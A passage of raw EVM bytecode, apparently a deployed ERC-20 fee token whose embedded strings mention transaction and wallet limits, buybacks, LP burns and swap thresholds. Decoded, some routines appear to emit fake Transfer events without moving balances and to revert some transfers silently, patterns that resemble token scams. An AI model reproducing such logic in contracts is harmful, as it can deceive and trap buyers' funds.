0fd5b50610e666004803603810190610e619190614277565b612084565b604051610e739190614086565b60405180910390f35b348015610e87575f80fd5b50610e90612164565b604051610e9d9190613f70565b60405180910390f35b348015610eb1575f80fd5b50610eba6121f0565b604051610ec7919061425e565b60405180910390f35b348015610edb575f80fd5b50610ef66004803603810190610ef191906144f1565b6121f6565b604051610f03919061425e565b60405180910390f35b348015610f17575f80fd5b50610f20612278565b604051610f2d9190613f70565b60405180910390f35b348015610f41575f80fd5b50610f5c6004803603810190610f5791906146b4565b612308565b005b348015610f69575f80fd5b50610f72612323565b604051610f7f919061425e565b60405180910390f35b348015610f93575f80fd5b50610f9c612329565b604051610fa9919061425e565b60405180910390f35b348015610fbd575f80fd5b50610fd86004803603810190610fd391906141b0565b61232f565b005b348015610fe5575f80fd5b50610fee612460565b604051610ffb919061425e565b60405180910390f35b34801561100f575f80fd5b50611018612466565b604051611025919061425e565b60405180910390f35b348015611039575f80fd5b50611054600480360381019061104f9190614277565b61246c565b6040516110619190614086565b60405180910390f35b60606004805461107990614728565b80601f01602080910402602001604051908101604052809291908181526020018280546110a590614728565b80156110f05780601f106110c7576101008083540402835291602001916110f0565b820191905f5260205f20905b8154815290600101906020018083116110d357829003601f168201915b5050505050905090565b5f61110d6111066126f7565b84846126fe565b6001905092915050565b61111f6128c1565b8585600891826111309291906148f6565b508383600991826111429291906148f6565b508181600a91826111549291906148f6565b50505050505050565b6028602052805f5260405f205f915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600654905090565b60145481565b60165481565b601e5481565b601d5481565b6111c76128c1565b633b9aca006103e860016111d961119e565b6111e391906149f0565b6111ed9190614a5e565b6111f79190614a5e565b811015611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090614afe565b60405180910390fd5b633b9aca008161124991906149f0565b60118190555050565b5f61125e84848461293f565b61131b8461126a6126f7565b611316856040518060600160405280602881526020016159736028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6112cd6126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134749092919063ffffffff16565b6126fe565b600190509392505050565b61132e6128c1565b5f5b838390508110156113fb5783838281811061134e5761134d614b1c565b5b905060200201602081019061136391906141b0565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113e0919061425e565b60405180910390a380806113f390614b49565b915050611330565b50505050565b61dead81565b60175481565b602460019054906101000a900460ff1681565b5f6009905090565b602460039054906101000a900460ff1681565b5f6114df6114476126f7565b846114da8560035f6114576126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134d690919063ffffffff16565b6126fe565b6001905092915050565b60605f600b80546114f990614728565b9050116115145760405180602001604052805f81525061159e565b600b805461152190614728565b80601f016020809104026020016040519081016040528092919081815260200182805461154d90614728565b80156115985780601f1061156f57610100808354040283529160200191611598565b820191905f5260205f20905b81548152906001019060200180831161157b57829003601f168201915b50505050505b905090565b6115ab6128c1565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60275f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f46905090565b60235481565b602460049054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116d36128c1565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6117e76128c1565b61025883101561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390614c00565b60405180910390fd5b6103e8821115801561183e57505f8210155b61187d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187490614c8e565b60405180910390fd5b826017819055508160168190555080602460016101000a81548160ff021916908315150217905550505050565b5f6118b36128c1565b5f602460036101000a81548160ff0219169083151502179055506001905090565b6060600980546118e390614728565b80601f016020809104026020016040519081016040528092919081815260200182805461190f90614728565b801561195a5780601f106119315761010080835404028352916020019161195a565b820191905f5260205f20905b81548152906001019060200180831161193d57829003601f168201915b5050505050905090565b61196c6128c1565b8060285f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b6119f76128c1565b6001602460026101000a81548160ff0219169083151502179055506001602460046101000a81548160ff02191690831515021790555042601881905550565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60225481565b606060058054611abc90614728565b80601f0160208091040260200160405190810160405280929190818152602001828054611ae890614728565b8015611b335780601f10611b0a57610100808354040283529160200191611b33565b820191905f5260205f20905b815481529060010190602001808311611b1657829003601f168201915b5050505050905090565b60195481565b60155481565b601f5481565b60205481565b611b5d6128c1565b611b678282611d2f565b5050565b5f611c29611b776126f7565b84611c248560405180606001604052806025815260200161599b6025913960035f611ba06126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134749092919063ffffffff16565b6126fe565b6001905092915050565b60185481565b5f611c4c611c456126f7565b848461293f565b6001905092915050565b611c5e6128c1565b5f5b83839050811015611cf9578160255f868685818110611c8257611c81614b1c565b5b9050602002016020810190611c9791906141b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080611cf190614b49565b915050611c60565b50505050565b6029602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d376128c1565b8060295f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b602460029054906101000a900460ff1681565b611e2b6128c1565b8060275f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611ec59190614086565b60405180910390a25050565b611ed96128c1565b633b9aca006103e86005611eeb61119e565b611ef591906149f0565b611eff9190614a5e565b611f099190614a5e565b811015611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290614d1c565b60405180910390fd5b633b9aca0081611f5b91906149f0565b60108190555050565b611f6c6128c1565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611fd8600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611964565b50565b6060600a8054611fea90614728565b80601f016020809104026020016040519081016040528092919081815260200182805461201690614728565b80156120615780601f1061203857610100808354040283529160200191612061565b820191905f5260205f20905b81548152906001019060200180831161204457829003601f168201915b5050505050905090565b602460059054906101000a900460ff1681565b60115481565b5f61208d6128c1565b620186a0600161209b61119e565b6120a591906149f0565b6120af9190614a5e565b8210156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e890614daa565b60405180910390fd5b6103e8600a6120fe61119e565b61210891906149f0565b6121129190614a5e565b821115612154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214b90614e38565b60405180910390fd5b8160128190555060019050919050565b600b805461217190614728565b80601f016020809104026020016040519081016040528092919081815260200182805461219d90614728565b80156121e85780601f106121bf576101008083540402835291602001916121e8565b820191905f5260205f20905b8154815290600101906020018083116121cb57829003601f168201915b505050505081565b601c5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60606008805461228790614728565b80601f01602080910402602001604051908101604052809291908181526020018280546122b390614728565b80156122fe5780601f106122d5576101008083540402835291602001916122fe565b820191905f5260205f20905b8154815290600101906020018083116122e157829003601f168201915b5050505050905090565b6123106128c1565b80600b908161231f9190614e56565b5050565b60125481565b601a5481565b6123376128c1565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239c90614f95565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60215481565b60105481565b5f6124756128c1565b6014546015546124859190614fb3565b42116124c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bd90615030565b60405180910390fd5b6103e882111561250b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612502906150be565b60405180910390fd5b426015819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a08231600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161256d91906143b3565b602060405180830381865afa158015612588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125ac91906150f0565b90505f6125d66127106125c8868561353390919063ffffffff16565b6135aa90919063ffffffff16565b90505f81111561260f5761260e600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836135f3565b5b5f60295f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156126d5575f80fd5b505af11580156126e7573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361276c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127639061518b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d190615219565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128b4919061425e565b60405180910390a3505050565b6128c96126f7565b73ffffffffffffffffffffffffffffffffffffffff166128e7613880565b73ffffffffffffffffffffffffffffffffffffffff161461293d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293490615281565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a49061530f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129061539d565b60405180910390fd5b436013819055505f8103612a3957612a3483835f6135f3565b61346f565b602460039054906101000a900460ff161561303a5761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612abf5750612a8f611a5b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b365750612b06611a5b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612b4e575060245f9054906101000a900460ff16155b1561303957602460029054906101000a900460ff16612c425760275f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612c02575060275f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3890615405565b60405180910390fd5b5b602460059054906101000a900460ff1615612e0757612c5f611a5b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ce657507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d3f5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e06574360265f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dba906154b9565b60405180910390fd5b4360265f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60285f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612ef757601154811115612e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9190615547565b60405180910390fd5b601054612ea683611685565b82612eb19190614fb3565b1115612ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee9906155af565b60405180910390fd5b613038565b60285f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612f8f57601154811115612f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f819061563d565b60405180910390fd5b613037565b60285f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661303657601054612fe983611685565b82612ff49190614fb3565b1115613035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302c906155af565b60405180910390fd5b5b5b5b5b5b60135460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61308830611685565b90505f60125482101590508080156130ac5750602460049054906101000a900460ff165b80156130c4575060245f9054906101000a900460ff16155b8015613117575060275f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561316a575060275f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156131ab57600160245f6101000a81548160ff021916908315150217905550613191613893565b5f60245f6101000a81548160ff0219169083151502179055505b60245f9054906101000a900460ff161580156131d35750602460019054906101000a900460ff165b156131e3576131e185613a0c565b505b5f60245f9054906101000a900460ff1615905060275f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613291575060275f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561329a575f90505b5f811561345f575f6023541115613370576132d360646132c56023548861353390919063ffffffff16565b6135aa90919063ffffffff16565b9050602354602154826132e691906149f0565b6132f09190614a5e565b601e5f8282546133009190614fb3565b925050819055506023546020548261331891906149f0565b6133229190614a5e565b601f5f8282546133329190614fb3565b925050819055506023546022548261334a91906149f0565b6133549190614a5e565b601d5f8282546133649190614fb3565b9250508190555061343c565b5f601c54111561343b576133a26064613394601c548861353390919063ffffffff16565b6135aa90919063ffffffff16565b9050601c54601a54826133b591906149f0565b6133bf9190614a5e565b601e5f8282546133cf9190614fb3565b92505081905550601c54601954826133e791906149f0565b6133f19190614a5e565b601f5f8282546134019190614fb3565b92505081905550601c54601b548261341991906149f0565b6134239190614a5e565b601d5f8282546134339190614fb3565b925050819055505b5b5f8111156134505761344f8730836135f3565b5b808561345c919061565b565b94505b61346a8787876135f3565b505050505b505050565b5f8383111582906134bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134b29190613f70565b60405180910390fd5b505f83856134c9919061565b565b9050809150509392505050565b5f8082846134e49190614fb3565b905083811015613529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613520906156d8565b60405180910390fd5b8091505092915050565b5f808303613543575f90506135a4565b5f828461355091906149f0565b905082848261355f9190614a5e565b1461359f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161359690615766565b60405180910390fd5b809150505b92915050565b5f6135eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b11565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136589061530f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c69061539d565b60405180910390fd5b6136da838383613b72565b6137448160405180606001604052806026815260200161594d6026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134749092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506137d58160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134d690919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613873919061425e565b60405180910390a3505050565b5f8061388a613b77565b90508091505090565b5f61389d30611685565b90505f601f54601d54601e546138b39190614fb3565b6138bd9190614fb3565b90505f808314806138cd57505f82145b156138da57505050613a0a565b60146012546138e991906149f0565b8311156139025760146012546138ff91906149f0565b92505b5f600283601e548661391491906149f0565b61391e9190614a5e565b6139289190614a5e565b90505f61393e8286613c1790919063ffffffff16565b90505f47905061394d82613c60565b5f6139618247613c1790919063ffffffff16565b90505f601e819055505f601d819055505f601f81905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516139bd906157b1565b5f6040518083038185875af1925050503d805f81146139f7576040519150601f19603f3d011682016040523d82523d5f602084013e6139fc565b606091505b505080955050505050505050505b565b5f803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a4791906143b3565b602060405180830381865afa158015613a62573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613a8691906150f0565b90505f613a9e601654836134d690919063ffffffff16565b9050613aa984613e93565b158015613af5575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460135411155b15613b06575f8114613b05575f80fd5b5b600192505050919050565b5f8083118290613b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b4e9190613f70565b60405180910390fd5b505f8385613b659190614a5e565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613bef575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613c12565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f613c5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613474565b905092915050565b5f600267ffffffffffffffff811115613c7c57613c7b614590565b5b604051908082528060200260200182016040528015613caa5781602001602082028036833780820191505090505b50905030815f81518110613cc157613cc0614b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613d64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613d8891906157d9565b81600181518110613d9c57613d9b614b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613e01307f0000000000000000000000000000000000000000000000000000000000000000846126fe565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613e629594939291906158f4565b5f604051808303815f87803b158015613e79575f80fd5b505af1158015613e8b573d5f803e3d5ffd5b505050505050565b5f60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613f1d578082015181840152602081019050613f02565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613f4282613ee6565b613f4c8185613ef0565b9350613f5c818560208601613f00565b613f6581613f28565b840191505092915050565b5f6020820190508181035f830152613f888184613f38565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613fca82613fa1565b9050919050565b613fda81613fc0565b8114613fe4575f80fd5b50565b5f81359050613ff581613fd1565b92915050565b5f819050919050565b61400d81613ffb565b8114614017575f80fd5b50565b5f8135905061402881614004565b92915050565b5f806040838503121561404457614043613f99565b5b5f61405185828601613fe7565b92505060206140628582860161401a565b9150509250929050565b5f8115159050919050565b6140808161406c565b82525050565b5f6020820190506140995f830184614077565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126140c0576140bf61409f565b5b8235905067ffffffffffffffff8111156140dd576140dc6140a3565b5b6020830191508360018202830111156140f9576140f86140a7565b5b9250929050565b5f805f805f806060878903121561411a57614119613f99565b5b5f87013567ffffffffffffffff81111561413757614136613f9d565b5b61414389828a016140ab565b9650965050602087013567ffffffffffffffff81111561416657614165613f9d565b5b61417289828a016140ab565b9450945050604087013567ffffffffffffffff81111561419557614194613f9d565b5b6141a189828a016140ab565b92509250509295509295509295565b5f602082840312156141c5576141c4613f99565b5b5f6141d284828501613fe7565b91505092915050565b5f819050919050565b5f6141fe6141f96141f484613fa1565b6141db565b613fa1565b9050919050565b5f61420f826141e4565b9050919050565b5f61422082614205565b9050919050565b61423081614216565b82525050565b5f6020820190506142495f830184614227565b92915050565b61425881613ffb565b82525050565b5f6020820190506142715f83018461424f565b92915050565b5f6020828403121561428c5761428b613f99565b5b5f6142998482850161401a565b91505092915050565b5f805f606084860312156142b9576142b8613f99565b5b5f6142c686828701613fe7565b93505060206142d786828701613fe7565b92505060406142e88682870161401a565b9150509250925092565b5f8083601f8401126143075761430661409f565b5b8235905067ffffffffffffffff811115614324576143236140a3565b5b6020830191508360208202830111156143405761433f6140a7565b5b9250929050565b5f805f6040848603121561435e5761435d613f99565b5b5f84013567ffffffffffffffff81111561437b5761437a613f9d565b5b614387868287016142f2565b9350935050602061439a8682870161401a565b9150509250925092565b6143ad81613fc0565b82525050565b5f6020820190506143c65f8301846143a4565b92915050565b5f60ff82169050919050565b6143e1816143cc565b82525050565b5f6020820190506143fa5f8301846143d8565b92915050565b6144098161406c565b8114614413575f80fd5b50565b5f8135905061442481614400565b92915050565b5f805f6060848603121561444157614440613f99565b5b5f61444e8682870161401a565b935050602061445f8682870161401a565b925050604061447086828701614416565b9150509250925092565b5f80604083850312156144905761448f613f99565b5b5f61449d85828601613fe7565b92505060206144ae85828601614416565b9150509250929050565b5f6144c282614205565b9050919050565b6144d2816144b8565b82525050565b5f6020820190506144eb5f8301846144c9565b92915050565b5f806040838503121561450757614506613f99565b5b5f61451485828601613fe7565b925050602061452585828601613fe7565b9150509250929050565b5f805f6040848603121561454657614545613f99565b5b5f84013567ffffffffffffffff81111561456357614562613f9d565b5b61456f868287016142f2565b9350935050602061458286828701614416565b9150509250925092565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6145c682613f28565b810181811067ffffffffffffffff821117156145e5576145e4614590565b5b80604052505050565b5f6145f7613f90565b905061460382826145bd565b919050565b5f67ffffffffffffffff82111561462257614621614590565b5b61462b82613f28565b9050602081019050919050565b828183375f83830152505050565b5f61465861465384614608565b6145ee565b9050828152602081018484840111156146745761467361458c565b5b61467f848285614638565b509392505050565b5f82601f83011261469b5761469a61409f565b5b81356146ab848260208601614646565b91505092915050565b5f602082840312156146c9576146c8613f99565b5b5f82013567ffffffffffffffff8111156146e6576146e5613f9d565b5b6146f284828501614687565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061473f57607f821691505b602082108103614752576147516146fb565b5b50919050565b5f82905092915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026147be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82614783565b6147c88683614783565b95508019841693508086168417925050509392505050565b5f6147fa6147f56147f084613ffb565b6141db565b613ffb565b9050919050565b5f819050919050565b614813836147e0565b61482761481f82614801565b84845461478f565b825550505050565b5f90565b61483b61482f565b61484681848461480a565b505050565b5b818110156148695761485e5f82614833565b60018101905061484c565b5050565b601f8211156148ae5761487f81614762565b61488884614774565b81016020851015614897578190505b6148ab6148a385614774565b83018261484b565b50505b505050565b5f82821c905092915050565b5f6148ce5f19846008026148b3565b1980831691505092915050565b5f6148e683836148bf565b9150826002028217905092915050565b6149008383614758565b67ffffffffffffffff81111561491957614918614590565b5b6149238254614728565b61492e82828561486d565b5f601f83116001811461495b575f8415614949578287013590505b61495385826148db565b8655506149ba565b601f19841661496986614762565b5f5b828110156149905784890135825560018201915060208501945060208101905061496b565b868310156149ad57848901356149a9601f8916826148bf565b8355505b6001600288020188555050505b50505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6149fa82613ffb565b9150614a0583613ffb565b9250828202614a1381613ffb565b91508282048414831517614a2a57614a296149c3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f614a6882613ffb565b9150614a7383613ffb565b925082614a8357614a82614a31565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b5f614ae8602f83613ef0565b9150614af382614a8e565b604082019050919050565b5f6020820190508181035f830152614b1581614adc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f614b5382613ffb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614b8557614b846149c3565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e2074685f8201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b5f614bea603383613ef0565b9150614bf582614b90565b604082019050919050565b5f6020820190508181035f830152614c1781614bde565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e742062655f8201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b5f614c78603083613ef0565b9150614c8382614c1e565b604082019050919050565b5f6020820190508181035f830152614ca581614c6c565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b5f614d06602483613ef0565b9150614d1182614cac565b604082019050919050565b5f6020820190508181035f830152614d3381614cfa565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f614d94603583613ef0565b9150614d9f82614d3a565b604082019050919050565b5f6020820190508181035f830152614dc181614d